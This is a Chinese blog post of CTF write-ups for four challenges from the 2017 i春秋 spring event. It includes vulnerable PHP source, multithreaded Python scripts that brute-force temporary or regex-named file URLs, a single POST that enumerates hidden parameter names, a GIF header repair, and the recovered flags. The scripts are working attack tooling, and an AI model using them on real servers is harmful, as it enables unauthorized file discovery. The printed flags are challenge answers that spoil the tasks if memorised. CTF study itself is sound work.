WP 4 i春秋_2017年春秋欢乐赛

原创

segOt 于 2017-04-20 09:21:27 发布 3939 收藏

分类专栏： CTF writeup 文章标签： ctf wp

时间

> 多线程、爆破

这道题目给出如下源码

```
<?php
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
  $txt = file_get_contents('flag.php');
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
  file_put_contents($filename,$txt);
  sleep(10);
  unlink($filename);
}
```

在网页请求发出之后，创建一个包含flag的txt文件，在10s之后删除，所以思路很清晰，就是爆破文件名。
需要注意的是，在python中进行网页请求初始界面时，python程序也会被阻塞10s，所以可以手动刷新页面，然后用程序进行爆破。

Python代码如下：

```python
#!/usr/bin/python
# coding=utf-8

import requests as rq
import hashlib
import threading
import Queue

url = 'http://78dc361095b9438d83891a0edfa96a689b98ab0184ad4964.ctf.game'
queue = Queue.Queue()

def make_queue():
    for i in range(1, 1001):
        m = hashlib.md5()
        m.update(str(i))
        furl = url + '/u/' + m.hexdigest() + '.txt'
        queue.put(furl)


def worker():
    count = 0
    while not queue.empty():
        count = count + 1
        print count
        u = queue.get()
        result = rq.get(u).text
        if '404' not in result:
            print result
            break
        queue.task_done()

def main():
    make_queue()
    for i in range(50):
        t = threading.Thread(target = worker)
        t.daemon = True
        t.start()
    queue.join()


if __name__ == '__main__':
    main()
```

得到Flag：

```
flag{8b6ffe35-53a2-4f61-9603-bcef43005149}
```

象棋

> 多线程，爆破

这道题目仍然是一道爆破题目。点击查看网页源码发现如下一行文件引用

```
<script src="js/[abcmlyx]{2}ctf[0-9]{3}.js"></script>
```

文件名采用一个正则表达式来表示，所以采用Python直接爆破，这次要爆破的可能性更多，过程挺久。代码如下

```
#!/usr/bin/python
# coding=utf-8

import requests
import threading
import Queue

s1 = 'abclmyx'
s2 = '012346789'
queue = Queue.Queue()
url = 'http://d371e0545f574fae97d09b1f9b0ba8a6a90b3f6abc1c4427.ctf.game/js/'

def make_queue():
    for i in s1:
        for j in s1:
            for k in s2:
                for l in s2:
                    for m in s2:
                        queue.put(i+j+'ctf'+k+l+m+'.js')

def worker():
    count = 0
    while not queue.empty():
        fname = queue.get(True, 1)
        try:
            result = requests.get(url + fname).text
            if '404' not in result:
                with open('flag.txt', 'w') as f:
                    f.write(result)
            queue.task_done()
        except:
            queue.put(fname)


def main():
    make_queue()
    for i in range(490):
        t = threading.Thread(target=worker)
        t.daemon = True
        t.start()
    queue.join()


if __name__ == '__main__':
    main()
```

最终拿到FLAG

```
flag{32c92172-68c4-4b0e-a8ec-6a15528da7d0}
```

攻击

> post数据穷举

题目十分简单，给出如下php源码

```php
<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;
}else if (count($_POST)>0){
  $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL;
  file_put_contents('u/ip.php',$ip,FILE_APPEND);
}


echo '</pre>';
 array(0) {
}
```

检查post提交的数据有没有参数名为`substr($flag,5,3)`，且值为`attack`，没有查到就将ip禁止。

由于不知到flag的值，所以穷举爆破。代码如下

```python
#!/usr/bin/python
# coding=utf-8

import requests

s = '1234567890abcdef'
data = {}

for i in s:
    for j in s:
        for k in s:
            data[i+j+k] = 'attack'

url = 'http://781e5ea171c945ed997e895070a5a79490205fbc7d574566.ctf.game/'
result = requests.post(url, data=data)

print result.text
```

小电影

> GIF文件格式，二进制编辑

题目给出了一个GIF文件，但是无法打开，应该是文件损坏。查询GIF文件格式，发现文件头部缺失`GIF8`，添加后即可打开文件，并得到flag。

```
flag{2017_love_U}
```